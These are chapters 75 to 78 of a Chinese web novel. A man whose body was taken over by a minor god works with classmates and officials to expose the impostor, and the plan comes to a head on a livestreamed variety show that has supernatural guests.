吴惟来也匆匆,去也匆匆,回到身体里打了声招呼,就准备飞向西北了。
常有为叫住他,“帮我拍个视频。”
吴惟:“?”
不是您老当初说的帮忙是这个?
虽然有些无奈,但吴惟的乐的配合,在天上飞够了下来跟常有为来了个互动才上路。
飞这一圈是直播,网上炸开了锅,梅开二度属于是了,但是本人都不知道。
#华夏龙原来长这样#
[起懵了,这龙居然是真的]
[之前拍的不清不楚的,只有一个影子,让人很难相信,现在…好家伙,咱国家是怎么和龙搭上线的?]
[6666不愧是国家爸爸]
[咱妈威武]
[话说为啥这龙只有一只爪子,不是应该五只嘛]
[楼上平常是四只好吧,五爪说的是五趾的意思,还有这应该是烛龙,山海经记载烛龙是一只脚]
[但是山海经也说烛龙体型巨大啊]
[可能是幼年期还小吧,但是外形确实是烛龙没错]
[它好可爱啊,用头拱司令的样子炼制和我家狗狗一模一样]
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[我也想说,这龙怎么狗里狗气的hhh]
[……]
[不是没人在意,这世界不对劲了嘛,为什么龙都出来了]
[啊?这不是很正常嘛,那个从绘圈到娱乐圈到算命的小明星出来之后,世界早就不正常了]
[你说那个双w,说来我就烦他,别的玄学大师都好好做自己的事,就他跳的高,还喜欢摆出一副“尔等皆辣鸡”的样子]
[就是,以前多喜欢他现在就越烦他,偏偏好多人捧他臭脚,立什么神明人设,高高在上给谁脸色看呢]
[他们不敢出来是没能耐,有本事跟我们明神比比]
[人家傲是有傲的本事,不像某些人只会在背后逼逼]
[……]
网上又吵起来了,吴惟的身体虽然被那个小神控制的时间不长,但也做了不少事。
天机的角色火了之后,他顺势进入娱乐圈,卖起了玄学大佬的人设,开直播给人算命。
说实话就连盯着他的那群人都被打了个措手不及。
然而这人的直播间用了点玄学手段,他们根本封不了号,只能眼睁睁看着他在人前显圣。
特事局和玄门那边难得统一去研究一件事,加班加点才弄懂,这和愿力有关,祂虽然接住了直播设备,但真正的动力是愿力而不是电。
只要“吴惟”愿力壮大,他们就没办法对祂做什么,无法,他们只能在网上干扰舆论,确保大部分人还保持理智。
现在三观崩塌的人越来越多了,研究玄学的越来越多,骗子也越来越多,这都不是个好现象。
若非现在的“吴惟”为了让天道认可祂,做的基本还都算是替人平怨的好事,他们抓不住错出,不然他们肯定会先把祂控制起来。
“这件事怕是只能让吴惟自己来解决了。”
官方是不抓是没有立场,玄门不抓也是因为没有立场。
他们之间没有因果,之前的事不清楚,现在的祂又没有做错事,若是他们去为难祂,会被天道判定成找茬。
除非证实祂是夺舍的,但现在的玄门可没人有这个本事。
小神再是小神,也是从那个时代活下来的,而玄门道统都断过,自然是无法相比的。
但他们也不是什么事都没做,吴惟灵魂还在的信息被他们瞒的死死的。
按理说作为身体本身的主人,那小神应该能感应到吴惟的存在。
但上次吴惟来人间的时候,小神还没恢复,这件事被玄门那边知道了,他们先一步切断了两者之间的感应,祂自然无从得知。
而一般来说,入地府能出来的机会很少,尤其是地府对男性有多不友好,祂从一些修炼回人间的的鬼神口中得知了,自然不会认为吴惟可以在那种环境下闯出一片天。
就算是大功德者又怎样,就他那样的性格,在人间能做出大事都是运气好了。
小神对吴惟很不屑,更不会去关注他。祂会选择这个身体也是因为愿力足够多,可以遮蔽天机。
吴惟能够聚集愿力,和普通的明星不一样,尽管从量上来说,随便拉出来和网红都比他多,但从质来讲,不亚于正经神修。
而他又不是正儿八斤的神修,本身对玄学不是很熟悉,不会察觉到祂的存在,是一具再适合不过得躯壳了。
这么福泽深厚的一具身体,在一个怯懦的人手上简直浪费,真不如便宜祂。
吴惟之前的粉丝早就已经不说话了,只是大部分没有取关,因为他们始终不能相信自己喜欢的人变化这么快。
甚至有人提出会不会是被他双胞胎兄弟取代了,这个说法取得了大家的一致认同。
他们私下建了群,一些大佬粉丝想要去查这件事,被官方截取到了信息,常皓轩和他们联系上了。
他稍微告知了一些信息,比如现在这人确实不是吴惟,吴惟已经找到了,但是现在暂时不能出现。
华夏人对官方的信任感还是很强的,他们自己就脑补出来什么有间谍威胁到吴惟的人身安全,他们在保护他,或许还有可能在钓鱼。
结合之前救灾,哪怕他们不知道具体情况,也能把吴惟脑补成什么特殊人员。
总之作为群众的他们,等消息就可以了。
子车树也混迹在粉丝群里,得到了这样的答案,总觉得不太对,但想到师父可以通过神降去救他了应该问题不大。
他们关注着“吴惟”的消息,每每听到祂又在哪人前显圣了,总忍不住破口大骂。
吴惟的粉丝里谁不知道太太喜欢安静,不喜欢被人关注,现在闹成这样,就算回归了都很难再过上平静的生活了。
三班的同学那边,他们表现得并不怎么亲近吴惟,毕竟谁喜欢在讨厌的人面前演戏呢,甚至有可能被吸血,反正祂也不知道他们以前关系好。
他们一直在等,等吴惟回来,给他们信号,若是他们帮的上忙,一定冲在第一线。
常笑依旧是“吴惟”的警卫员,他倒是习惯了,无所谓,表现的像个正常警卫员就行。
宁淮和闹闹这段时间一直跟着毕子濯做事,他毕竟有阴阳眼,沟通方便。
如今“吴惟”身边风平浪静,就等某人回归了。
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76.第 76 章
吴惟没怎么在人间停留,自然不知道人间的发展状况。
地心时间流速很慢,他和璃用了将近一个月的时间才把烛龙一族转移完成。
倒不是因为烛龙人数多,他们全族加起来也就十来条龙,只不过因为他们大多数活的太久,又时刻有流心滋养,灵魂强度很高。
小龙的身体承载不了太多灵魂,只能一条一转移,还是在它们封闭感知,收敛魂力的情况下,自然就花费了很久。
吴惟留在烛龙的领地,帮他们做了些事,又用了大概一个月。
烛龙知道他们需要内丹,用一颗龙珠作为报酬给了吴惟。
他考虑到自己确实需要,就没推辞,只说以后如果有用得着他的地方,只要不涉及原则问题,他一定会出手。
烛龙:“不用以后了,你和璃签订契约,带它回人间吧。”
“这孩子天生残缺,力量不足,反而不被天道限制,我们作为长辈的不求它有多大作为,但也希望它平安快乐。”
“它很喜欢你,就让它跟着你吧。”
烛龙没说,它其实更希望璃能蹭到点功德,也许能补齐这孩子的先天不足。
话都说道这个份上了,吴惟自然不能拒绝,只说如果璃愿意的话。
璃表示它非常愿意,跟着这个人类能见到很多不同的风景,很有趣。
任务圆满完成,材料也收集完毕,就差制作傀儡了。
吴惟先带着小龙回到司令那里,请他照顾一下璃,魂体经常离体并不好,尤其是对于烛龙这种更依赖身体的种族。
虽然璃有些舍不得,但还是乖乖听话留在了基地。
又有孩子带了,还是个很乖的小孩儿,常有为很高兴,尤其是这个小孩儿体能特别好,训练起来比手底下的兵进步快多了。
别误会,司令不是魔鬼,是璃看到了觉得好玩,才要求跟着一起训练的。
解决完这边,两人一兽先回了地府,向婴灵报备了一下,接到帮他们炼制傀儡的工匠,又匆匆赶往顾六六家。
现在已经七月份了,炼制傀儡大概需要一个多月,也就是七七四十九天,再加上他们熟悉身体,办理身份证,可以说极限踩点了。
吴惟不是很急,闲下来就开始观察自己的对手。
这不观察不知道,一观察怎么这么眼熟呢,他不会其实还在轮回里没出来吧。
毕竟现实怎么会这么小说模板?
现代玄学算命直播文,随便找一个主角就是祂。
可是这家伙偏偏这家伙用的是自己的身体,救命怎么可以这么社死!
吴惟生无可恋摊到桌子上,他用的是顾鎏给他定制的迷你款,身体是bjd娃娃。
场面一度可爱得让人想伸爪子…咳。
“神子大人,放轻松,反正都已经社死了,挣扎也没用。”这是殳玲的声音,带着点幸灾乐祸。
他们在小群里连线,顾六六很坏心眼地点开视频对准桌子上的吴惟,遭到了全班截图围观。
“你们适可而止。”吴惟有气无力地说道,能怎么办呢,凉拌吧,他号没了,以后上街…嗯,隐身就好了。
然而那边楚星垣很不客气地打破了他的幻想,“别想了,以后估计你也得开直播了。”
吴惟:“?”
没错,这个群不是原本的班群,毕竟那个“吴惟”也在,而这里,是专门为吴惟建的,熟悉他的人都在。
里面除了三班的同学,随心所欲小分队,还有常皓轩,以及司令。
群名是[打死那个伪神]。
可以说风格很三班,但也获得了玄门那些人的一致好评。
但是,“为什么我要直播啊?!”
他不能直接消失嘛!
“崽啊,你不会忘了自己名声已经臭了吧,就算你隐身了,以后一发画就被人拎出来嘲怎么办。”这欠揍的语调不用说就是仰飞光。
那确实不太受得了,但,“我有地府观众!”
他甚至可以随便去地府,他都养老了,才不需要在人间乱晃呢。
“咳…”这是莫繁,“惟仔,现在不是人气的问题了,玄学在大众面前现世,咱们需要把它引向正轨。”
“祂做事只是为了自己,自然是不计后果,但是人心被扰乱了,现在又是天魔降世时期。”
“这引导的事,可能只能由你完成效果是最好的。”
吴惟:“所以要我怎么做?”
“在大众面前夺回身体。”
吴惟:“?”
特么跟有病一样。
“这件事已经被小神搬上明面了,若是私下处理了,那些小神追随者肯定会阴谋论。”
“只有摆在明面上,告诉别人,祂只是个小偷,才能让很多摇摆不定的人向我们这边倒。”
“哦对了,最好能挖出祂的罪行。”
“罪行怎么挖我不知道,”吴惟老神在在,“但祂有问题,再多的愿力都无法阻止业火烧穿祂。”
“嘶…好狠。”
玄门这边一边吸气,一边竖起大拇指,那可是业火啊,说放就放,这家伙不愧是应劫之人,又变强了。
“不过业火的情况只有玄门知道,普通人怕是不会买账…”
“那就只能走一步看一步了。”吴惟摊手,他最不擅长的就是这个了。
“不过以老板的体质,说不定对方会送货上门呢。”这是宁淮,吴惟活着的时候除了婴灵,就他跟的最久,不要太了解吴惟的体质了。
“不过这件事之后,小惟惟还是要继续开直播哦~”
吴惟:“?”
“你跟谁学的小惟惟?!”
看把孩子逼的,都重点都抓错了。
三班众人不敢笑出声,疯狂在群里打[哈哈哈哈哈哈哈哈]
说起来刚刚是谁说的来着,笑死,根本没人敢认领。
罢了不重要,爱咋咋地。
顾鎏突然出声,“地府很好吗?”
吴惟愣了一下,“你怎么会问这个?”
“你现在状态很好,和以前冷冷淡淡的样子完全不一样了。”
“更像个人了。”仰飞光抢答。
吴惟沉默了一下,不用别人说,他自己都能感觉到不同,只不过你能换个词吗?
每次都说像个人,说的好像他不是人一样。
“确实很好,比人间好。”所以他若非有这么一群伙伴在,他甚至不想回来了。
木头人没有表情,但所有人都好像看到了他脸上的笑容,很真诚,是发自内心的。
吴惟回忆着这些时间的经历,从临城的所见所闻开始讲,和世人所想的阴森恐怖完全不同。
其实哪怕是玄门本身都对地府不甚了解。
因为当初离开地府的大部分都是在地府呆不下去的男鬼,他们会用恶意的方式去掩盖它的本来面目。
那个年代,人间上位者对下位者的压迫,男性对女性的迫害,致使地府的社会结构几乎平行反转。
但因为女性被教导的道德感很高,不配得感也很高,导致她们对于压迫者要么极端恨,要么过于温和。
但因为执念过高的人不会被纳入鬼神体系中,实际反转过来的地府比起人间的压迫要轻松很多。
即使这样他们依旧无法接受,他们在人间抹黑地府的形象,让人们对鬼神又厌又怕,让鬼神在信仰体系中几乎是垫底的。
好在地府本身依托于轮回,哪怕没有信仰也无所谓,只要她们做正确的事,赚取功德,足够维持地府的运转就可以了。
地府人心是跟着人间走的,人间发展到现代,平等的观念已经深入人心,地府的气氛也是处于一种平衡状态。
只不过因为男性留下的多是近现代的,女性确是很多古代一直留在这里的,导致整个地府处于一种阴盛阳衰的情况。
当然这只是人类这边,精怪那边会平衡许多,也平和许多。
精怪那边留下来的大多是比较温和的精怪。
一般来说,基于食物链,为了填饱肚子而造成的杀戮是不算因果报应的,但是也有许多暴脾气的精怪,可不会因为吃饱肚子而不去争斗,自然业力深厚,入了地狱。
而那些温和的精怪,在地府没了食欲,能很自然的和谐共处,普通动物也是这样。
它们的灵魂很脆弱,像小孩子的一样,一般鬼龄很短,很快就入了轮回。
一般鬼城附近都会有一个双生鬼城,属于精怪,和人类的城池守望相助,只不过吴惟从来没有进去过。
也就是在海城的时候,因为地形特殊,在路上和它们打过照面,甚至还被鲛人送了珍珠。
说实话吴惟有点不敢想自己进精怪的自治区会出现什么情况,他总觉得自己像块唐僧肉,怕是进去了就出不来了。
上次鲛人族之行可是历历在目呢。
群里众人听得津津有味,没想到地府居然那么好玩。
“有一种想立刻死一死的冲动。”从饶说出了许多人的心声。
吴惟:“一般来说,若是没什么原因自杀的,地府一律会认为你想要真正的死亡,为你开通轮
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刚刚知道了轮回就是碎成渣渣的众人:“……”
“还是算了。”
恐怖故事啊属于是。
“对了,孰湖还好吗?”
吴惟一问出口,趴在殳玲身边的孰湖直接把脑袋凑过来,挤开了殳玲,对着吴惟“嘤嘤”叫。
殳玲幽怨道:“这家伙自从跟了你以后,我就不是它最爱的崽了。”
孰湖疑惑,孰湖安慰地蹭蹭殳玲的脸。
仰飞光火上浇油,“哈哈哈哈好敷衍啊…”
“仰飞光你皮痒了是不是,信不信下次老娘让你当众念诗!”
文静揶揄:“念诗,划掉,暴揍一顿。”
仰飞光讨饶:“别啊,大姐头我错了,你饶了小的吧!”
“哼。”殳玲不理他,问吴惟,“你找它?要不我把它送过去?”
“好,我给它带了礼物。”吴惟笑着说道。
听到礼物两个字,孰湖兴奋地“嘤嘤”叫起来。
另一边沃语冰砸了两下嘴,“你小子给它带礼物不给我们带!”
吴惟卡壳了,他真没想起来。
单调:“绝杀。”
“别为难神子大人了,神子大人的脑子里没有人情往来。”仰飞光无情嘲笑。
吴惟:“话说你们说好要大庭广众之下揭穿祂,有什么章程了吗?”
三班众人:“……”
随心所欲:“……”
官方两人:“……”
“噗…”这次是夙逸兴,“对不起没忍住,哈哈哈哈这话题转移太生硬了,笑死我了!”
“哈哈哈哈哈哈哈哈…”这种时候只要一个人笑,所有人都会跟着笑起来,根本停不住。
吴惟:“……”
那我走?
笑笑爹加入了视频通话
视频中出现了一个红发小孩儿,头顶两只角。
还在笑的众人:“?!”
小孩儿歪着脑袋盯着屏幕看了一会儿,似乎找到了什么,很高兴地打了声招呼,“惟!好久不见!璃好想你!”
吴惟也愣了,“阿璃?”
“你就是个魅魔吧。”季慎思无语吐槽道。
“嗯!”璃认真点头,“璃的训练都做完啦,常叔叔奖励我玩手机,他说在手机里能看到惟!”
小龙崽笑了起来,金色的竖瞳嵌在月牙形的眼眶里,让福瑞控的殳玲和云菲大呼可爱。
“训练?”
“嗯,人类的打架方式可好玩了,特别省力气,等璃都学会了就可以保护惟了!”
“那阿璃可要加油咯,再过几天咱们了就要面对坏人了。”
“嗯嗯!”璃郑重点头。
这一下看的众人目瞪口呆,楚星垣忍不住吐槽,“不是,无为不是社恐吗,怎么这么会哄孩子?”
吴惟心想,又不是人类幼崽:)
殳玲:“跟孰湖学的吧…”
毕竟家里这只看谁都是幼崽,见人都要抱一抱哄一哄来着。
尤其是遇到吴惟之后。
以前它还会混熟了再去抱人,现在上来就抱,也不怕把人吓出毛病。
这边有说有笑岁月静好,另一边也蒸蒸日上看的人眼馋。
不过对于有些人来说他更想杀人。
“哇偶,我看到那个小偷最近有一个综艺的宣传,”千叠截图发到了群里,“是个旅行慢综,主打动物科普向的。”
吴惟:“?”
不仅吴惟,其他人也满脑门问号。
“不是,他参加这种综艺是做什么的,跟他专业又不搭边。”
“人气呗,这个综艺还有公益项目,很赚路人好感。”宋靥星叹气,其实她也不是很了解,但谁让她有一位在娱乐圈混的师姐呢。
“公益类的节目很赚路人好感的,那家伙又需要愿力,肯定无所不用其极了。”
当然,会这么做的人肯定也不少,更何况很多节目的节目组也喜欢找一些什么都不懂的明星参加。
虽然她也不明白为什么。
就是说一个群体里,所有人完全不追星的可能性有多大,至少这个群是。
常皓轩确实有关注,但也只是控评而已,至于明星的心理,他是一点都不想揣测。
至于摄影师千叠和单调,他们只是在在演艺圈和时尚圈和明星穿插着有些接触罢了。
可以说这个群,有一个算一个,都对娱乐圈了解不了一点呢。
不过…殳玲道:“我有个提议。”
.
77.第 77 章
鹿鸣这一年总觉得不太得劲,自从自己的经纪人林广背着他去请了学长演他师父以后,事情就开始不对了。
且不说之前世界观崩塌的事,那些都不算重要了。
至少那个时候学长还是学长,会像天机一样哪怕不懂感情,却会把不认识的人护在身后,让人很有安全感。
但是后面的事就开始不对了,林广不想放弃吴惟这个潜力股,再一次发出邀请的时候他居然同意了。
不是说同意有什么问题,主要是很奇怪,不符合他的性格。
鹿鸣也知道这么揣测别人不好,但是真的很奇怪啊,明明之前学长都是一副不慕名利,想要把自己藏起来的样子,现在突然想要站在聚光灯下了?
倒也不是说不行,但是一个人真的会突然变化这么大吗?该不会被魂穿了吧?
这个问题他琢磨大半年,身边的人都觉得这是正常的,他自己都怀疑是不是太过疑心病了。
鹿鸣想,人都是会变的,或许他只是变了,而且人想要更好的生活不是很正常吗?
当时的鹿鸣只是觉得,他再怎么变也还是那个学长。
直到后来吴惟开直播搞玄学,虽然也都是在做好事,但他不知道为什么就是觉得不对劲。
学长变得很陌生,很像他之前见过的一些为了人气可以用任何手段的明星一样。
学长的眼神也变得很陌生,高高在上,不把旁人看在眼里,鹿鸣恍然惊醒,原来他和吴惟并不是很熟。
哪怕是拍戏的时候也没有多少交集,只是他因为对方在地震时候做的事,剃头挑子一头热地莽上去,想跟对方交朋友,却根本不了解他。
或许是自己看错了,他眼光本身也就那样,看错了很正常。
想清这一点之后,鹿鸣对吴惟的态度冷了下来,除了工作没有什么太多的交集。
他冷眼看着林广把除了音乐以外的所有资源都倾斜到吴惟身上,内心没有一丝波动。
还好他本身就是玩音乐的,对自己的专业非常热爱,否则一定会很生气吧。
这次林广又把他的综艺名额给了吴惟,还要陪他去现场。
但是这期综艺的飞行嘉宾当初是指名道姓要他来的。
鹿鸣因为这个和林广吵了一下,别的资源也就算了,但这一期是在他家乡录的,当初节目也是看中他是个本地人才会邀请他的,这么一搞,把他信誉都搞没了。
但是他坳不过林广,索性由他去了,鹿鸣已经打算解约了,好在他自己还有点积蓄,再厚着脸皮找爸妈要点,还算能赔的起违约金。
反正这个时代,哪怕做自媒体也不是没有出路,他又有才华,大不了学景江。
正想着,电话铃响了,他随手接了起来。
“喂,您好…什么?常驻嘉宾?你确定没找错人?”
“什么,景江先生也在?让我考虑考虑。”
鹿鸣有点怀疑人生,为什么景江先生会参加这样的综艺啊。
没错刚刚这通电话是《一起去旅行》节目组的,他们节目有改动,想邀请自己去当常驻嘉宾。
《一起去旅行》是一个旅游综艺,每一期都有特定主题,比如之前邀请他的这一期就是以科普当地的动物为主。
有野生的,也有当地人民圈养的。
然而他们节目组最近换制片了,准备砍掉现在这一季直接开新篇,鹿鸣不知道该怎么吐槽,玩的真够野的。
鹿鸣思忖了一下,点开景江某鹅,发了个问候,问起综艺的事,景江给了确定答案。
景江老师:[本来就想出去采采风找找灵感,既然他们邀请就跟着去看看呗]
鹿鸣觉得有道理,想想如果去了,说不定还能和景江交流合作,就和那边回了电话同意了。
.
《一起去旅行》是以直播为主的综艺,虽然后期也有录播和剪辑,但基本都不会脱离直播的素材,甚至有记录可查,所以很真实。
有不少人把它称作照妖镜,尤其是最开始的几期,几乎整个内娱塌了一半,许多艺人避之不及。
但毕竟每个圈子都会各种不同的人,自然不可能没有不真实的人,是以这个节目也磕磕绊绊走过来了。
这档节目从民俗到美食,从工艺到物产,已经走过了好多季,谁也没想到在这种时候突然换制片砍了一季。
这件事冲上了热搜,唱衰的有之,期待的也不少,但更多人还是好奇,毕竟《旅行》走过那么多季,主题也被用的差多了,这个时候突然砍线重开,很可能是要转型了。
谁也不知道接下来主题会是什么。
唯一和之前相同的是目的地还是在川省。
林广知道鹿鸣私自接下了《旅行》邀请没说什么,直接带着他和“吴惟”一起去了现场。
这段时间林广对他可谓是漠不关心。
在旅店休息了一晚,第二天,二人就被带着上了山。
他们集合的地点就在之前的扶摇山庄。
因为这里建筑比较结实,地震过后损伤不算太严重,放着也是放着,闻氏集团把这里修修补补,改成了一个私家的庄园,没有再对外开放了。
这次也是因为资方有关系才把这片地租下来的。
两人抵达的时候,已经到了两人,没过多久另外两人也到了。
导演看差不多了,清了清嗓子说道,“行了,都到齐了,大家先向介绍一下自己吧。”
鹿鸣一脸迷惑,“不是七个人吗,还有一位在哪?”
“吴惟”此时已经眯起了眼睛,盯着一个空无一人的地方。
直播间的弹幕也疑惑了。
[这不是有七个人吗?鹿鸣怎么回事?]
[奇怪明神为什么盯着那个人看,有什么问题吗?]
[说起来直播间是不是有什么特效,为什么我看着到处泛白?]
[咦?你也是,我还以为是我显示器有问题]
[我也…]
“啊…这个啊,”特事局派来的副导演一拍脑门,恍悟道,“抱歉抱歉,忘给你们开眼了。”
“天清地明,阴浊阳清;开我法眼,阴阳分明,敕!”
一团光华散开,所有人都看到身边多出来的一人。
“嗨~”宁淮眨眨眼,朝着众人挥手。
“卧槽!鬼啊!”看着突然出现的人,有些普通人吓了一跳。
鹿鸣也是一脸呆滞,“你你你…你是宁淮老师!”
“这个啊,我也叫景江来着。”
鹿鸣:“……”
所以这半年来他一直在跟一只鬼请教?难怪景江风格和宁淮这么像,特丫的根本就不是什么师徒,而是本人呐!
这是什么鬼故事?
然而很奇怪的是,“吴惟”怎么一副不认识他的样子?
宁淮放下手,对着屏幕说道,“大家好,我是宁淮,一个运气很好,死了之后还可以继续创作的音乐人~”
[????]
[卧槽我就说怎么这人看起来这么眼熟?!宁淮老师啊!!!]
[什么叫死了之后还能继续创作,不是节目组你过分了啊,老师都不在这么久了,居然还吃起人血馒头了?!]
[是特效吧,是特效吧?]
“虽然很不可思议,但是确实是你们看到的这个样子。”宁淮摊手,“我还能跑能跳,能飞能写歌。”
“好了我介绍完了,你们谁来?”
双马尾洛丽塔的女生接过镜头,“大家好,我是演员步坤灵,其实我还有另外一个身份。”说到这里她顿了一下,手指抵住唇角,露出一个坏笑。
“我是一名天师,捉鬼的那种哦。”
宁淮假装害怕抱胸,退了几步,魂体都飞到了空中:“所以步天师要捉我吗?”
“不会啦,你功德加身,愿力深厚,是个好鬼,不会有天师抓你啦!”
[好离谱啊,这都什么跟什么?这种综艺搞这些都是作假的东西,就是在砸招牌好吧]
[可是我觉得不像假的]
[你就看吧,这些肯定是身份派]
[那为什么宁淮会飞]
[合成的吧]
“那下一个我来?”余清秋举手,“大家好我是余清秋,是个本地演员。”
“要说特别的社身份的话,我曾经被吴惟老师救过,算是有些这方面的经历,谢谢吴老师。”说完她向吴惟鞠了一躬。
“吴惟”眼神有些惊讶,随即想到,应该是原主救过她吧,于是点点头,算是应下了。
看到镜头来到他这里,也打了声招呼“大家好我是吴惟,一个天师。”
古代的天师和现在说的不太一样,他们没有分那么细致,现代为了区分,才把擅长捉鬼的叫做天师,但古代天师几乎是全能的。
“吴惟”说话的语气很淡,听起来就有一种俯视感,让人有一种不适的感觉。
[啊啊啊明神!]
[话说你们为什么叫他明神?他名字里也没明字吧?]
[你看过他的直播就知道了,明神字见明,不见而明的意思,明神真的是特别好的人,帮了很多人]
镜头转向一个身材比例超绝的黑皮美人。
[卧槽!是千风欸!她好美!]
[呜呜呜好有力量感,这就是山中精灵吧!]
“大家好我是千叠,摄影师。特别的身份,没有,不过特别的能力有一个。”
千叠停顿一下,冲着天空大喊一句,“风来——”
[她在干嘛?]
[真当修仙呢?]
[卧槽真的来了?不是特效?]
[特效…就是说你上哪去搞那么大的鼓风机啊,这可是直播!]
一阵狂风过境,差点没把宁淮吹飞。
“我说风神大人,你
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不能打声招呼再用能力吗?!”
“抱歉抱歉,忘了你了。”
最后一位,身材颀长,衬衣长裤带着眼镜,有一种斯文败类的感觉。
但是熟悉的人都知道,这位斯文斯文不了一点,败类也败类不到哪去。
“大家好我是季慎思,大家都叫我毒奶,因为只要是我说出口的话就会反向灵验。”
[草你小子还真上综艺了…]
[楼上的认识?]
[他说的你点没错,我是他同事,每天早上都能看到他被老板压着破口大骂公司,然后现在公司蒸蒸日上越做越大…]
[???不是楼上你来真的?不是托]
[托什么托,我京韵的,你自己查]
[好家伙我刚去搜了一下,这家品牌发家确实好奇怪,对面要刚他们的莫名其妙就倒了]
[好离谱啊,不是这么封建迷信的直播间为什么到现在都没封]
[能有什么为什么,当初明神的直播间不也没有被封,说不定玄学是真实存在的,国家爸爸就是为了科普才排了这么一个节目呢]
[别说,还真有可能]
有常皓轩在引导,直播间里还算和谐。
修改综艺就是殳玲那个提议,反正科普是要科普的,他们还不知道应该用什么形式,不如抢个综艺回来直接套,反正他们给钱了。
至于嘉宾,带点娱乐圈的人不至于突兀,剩下的人,有谁会比吴惟那群奇葩同学来的效果震撼呢?
尤其是风神大人,言出法随,从无失误。
用娱乐的方式一点一点向大众展示另一个世界。
一来是很多大众的认知已经被见明给打乱了,更何况后来又被璃插了一脚,这世上龙都有了,玄学是假的吗?
与其遮遮掩掩,不如大方展示出来。
二来是因为烛龙现世,如果规则还是和以前一样,天道不可能让过于强大的它们活下来,吴惟大概意识到了或许这是个机会。
曾经漫天神佛,被迫入轮回不可能是无缘无故的,只有可能是他们触犯到什么底线。
换句话说,就是这个世界的法则,并不是完全不允许玄学的存在,只是因为人心而出现了意外才导致断层。
或许这是一个“灵气复苏”的机会。
科技和玄学本身不是对立的,修行内求比外求重要。
所以哪怕“灵气复苏”若是一开始控制的好,不一定是坏事,反而可以对抗天魔,也可以提升国力。
这里说是灵气复苏,实际上只是比喻,这个世界没有所谓的灵气,非要说的话,应该是属于地球的灵性。
这个想法和常有为不谋而合,虽然他们国家科技已经够强大了,但谁会嫌弃变得更强呢?
毕竟越是强大才越是有话语权,不是吗?
而想要重新建立玄学体系,首先需要信。
玄学说白了就是一种以人的信念去操控和使用的能力,首先要信才会有,所以人前显圣,让大众认知到这些事存在很重要。
三来是他们的一点私心,大家不希望见明做的事情被按在吴惟头上,而吴惟的私心,则体现在另外一件事上。
他们三班特别的人这么多,虽然有物以类聚的原因,但这也说明人间存在不少这样能力特殊的人。
他们这类人一旦表现出和常人的不同,就容易被孤立,容易活得很痛苦,他希望大家都能平等的生活在这片土地上。
当然吴惟的也知道自己思想的天真,可那又怎么样呢?因为不可能实现所以不去做了吗?
他要是没那个能力当然可以视而不见,但一回头,吴惟发现原来自己已经积累了那么多能量。
有华夏官方、地府官方做后盾,有那么多支持他的伙伴,还有喜欢他给他提供愿力的人。
虽然过程有些社死,但收获也很多呢。
这四来便是要让大众知道,做过的每一件事都记在账上,善恶到头终有报,这报偿是报在你身上,而不是还不知道在哪儿的下辈子。
这样一来人做坏事总要掂量掂量吧,这一掂量,就会有好多人选择回头是岸,不给天魔发挥空间。
针对天魔的反而被放在了最后,毕竟无论哪个时代,恶人终究是有的,他们不可能完全消除恶的存在。
所以他们要做的是,尽量挤压贴膜生存的空间,让祂造成的危害尽量缩小,仅此而已。
更何况,能让人世间的恶减少到什么程度,并不重要,重要的是少一份恶意,就会多一份温暖。
至于祂觊觎吴惟的意识,有本事就来啊,没一次成功的小辣鸡而已:)
论起这一点,吴惟甚至还有些庆幸自己有一些特殊性,牵制住了天魔的食欲。
从地府的卷宗来看,每次天魔降世,总是会有不少伤亡,而这一次,因为他,天魔的受害者只有恶鬼和倒霉催的盛思涵。
.
78.第 78 章
“好,大家都介绍完了,下面…”
“等等!”鹿鸣一脸不满,“你们是不是忘了我?”
导演睨了他一眼:“你还要介绍?”
“出去问问谁不认识你。”
[笑死,一时之间不知道是在肯定小鹿人气还是在阴阳他]
[哈哈哈哈,这反应有点可爱]
[以前不参加音综以外的综艺不知道,没想到咱们小鹿哥这么好玩]
[鹿鸣:如果不是有景江老师在,我才不来呢]
[鹿·眼里只有音乐梦·鸣]
“好了不开玩笑了,你介绍吧。”
鹿鸣:“…突然不是很想说了。”
弹幕瞬间满屏[哈哈哈哈哈哈哈哈]
插科打诨结束,导演回归正题,拿着大喇叭公布这一期主题,“这个庄园就是你们这段时间的宿舍。”
“你们要两两组队,在这片山林里找到一些长相奇特的动物…不,精怪,去获得他们的好感,得到小花花。”
“得到小花花最多的队伍就是本期的胜者,会有意想不到的奖励哦~”
鹿鸣:“不是等等,咱们就七个人吧,怎么两两组队?”
“抽签,剩下的人和神秘嘉宾组队哦~”
[好家伙还有高手?]
[神秘嘉宾,有些期待,这次是个什么设定]
鹿鸣双手合十:“希望我可以和宁老师一组。”
季慎思凑过去说道,“你求神不如求我,我比它准多了。”
季慎思在鹿鸣惊讶的眼神中吐出来恶毒之语,“鹿鸣不会和宁淮一组。”
说完,他拍了拍鹿鸣的背,“上吧少年,祝你心想事不成!”
[笑死我了,明目张胆诅咒啊,不是你们素人这么野的吗]
[前面的这哥们立的是毒奶人设,反向奶]
[那我可要看看最后能不能抽到了了]
[哦豁,真的抽到一起了,好家伙不会是黑箱吧]
“这就是毒奶威力,堪比黑箱,怎么样,高兴吗?”季慎思叉腰,得意地抬抬下巴。
“6。”
神特么堪比黑箱,走观众的路,不让观众嘴一下是吧。
所有人都抽完签,鹿鸣如愿和宁淮一组,季慎思抽到了余清秋,千叠抽到了步坤灵,见明单独一组。
“哇偶,吴惟老师运气真好~”导演怪腔怪调的说道。
“抽签结束了,我们可以见见神秘嘉宾了吗?”余清秋问道。
“不可以呢~由于神秘嘉宾能力特殊,吴惟老师这边需要加点难度,你要自己找到神秘嘉宾并和他完成组队哦~”
见明:“可以。”
“既然大家都没有问题了,那么出发吧。”导演说完,带着工作人员撤退。
“对了,”走到一半的导演想起来,回头大喊一句,“摄影师的好感度是不可以刷的!不计算在内!”
七人看了一眼周围的白色小鸟,默然无语,不说他们还真没发现,提着小巧摄像头的摄影师居然是它们!
“是婴勺。”步坤灵有些惊诧,虽然之前听说了节目组有真的精怪,但到底不如亲眼所见。
这些自然都来自于殳玲,不,应该说来自于殳云烟,作为讨封成功的大妖怪,叫几个苦力来还是轻轻松松的。
几人寒暄了几句,便各自选了一个方向离开了。
见明弹起一枚铜钱,反手接住,看了一眼,变换了个方向继续前进。
[开始了,铜钱指路]
[这样真能找到人?]
[当然,这可是明神拿手好戏]
[不知道为什么,虽然他很厉害,但是我就是不来电]
[那你还来看什么直播,出门右拐看别的直播间去啊]
[我也是,整天斜着眼看人,看着就烦,要不是为了看看神秘嘉宾到底是谁,我立马就出去]
[我也是好奇神明嘉宾才来的]
[……]
见明不断抛掷铜钱,顺着铜钱所指的方向走,大概半个小时后,在一处山涧处,拨开植物,看到了水边的一人一兽。
